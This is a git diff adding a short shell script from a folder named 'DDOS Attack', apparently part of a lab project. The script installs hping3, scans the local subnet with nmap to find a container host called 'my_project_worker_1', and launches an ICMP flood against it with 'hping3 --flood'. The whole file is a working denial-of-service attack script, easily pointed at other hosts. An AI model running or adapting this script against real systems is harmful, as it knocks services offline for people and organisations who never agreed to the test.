diff --git a/DDOS Attack/master_icmp_ddos.sh b/DDOS Attack/master_icmp_ddos.sh new file mode 100644 index 0000000..ea464f4 --- /dev/null +++ b/DDOS Attack/master_icmp_ddos.sh @@ -0,0 +1,11 @@ +sudo apt update +sudo apt upgrade -y +sudo apt install hping3 -y +netip=$(ifconfig|grep inet|sed -n 1p|awk "{print \$2}"|cut -f 1-3 -d "."|sed 's/$/.*/') +clear +echo "Target network: " $netip +#Find worker1 victim IP +worker1=$(nmap -sP $netip|grep my_project_worker_1.my_project_net|awk '{print $NF}'|tr -d '()') +#Ddos attack to worker1 with syn flood at port 80 and icmp protocol +echo "Initiate attack towards worker 1 with IP: "$worker1 +sudo hping3 -p 80 --flood --icmp $worker1 \ No newline at end of file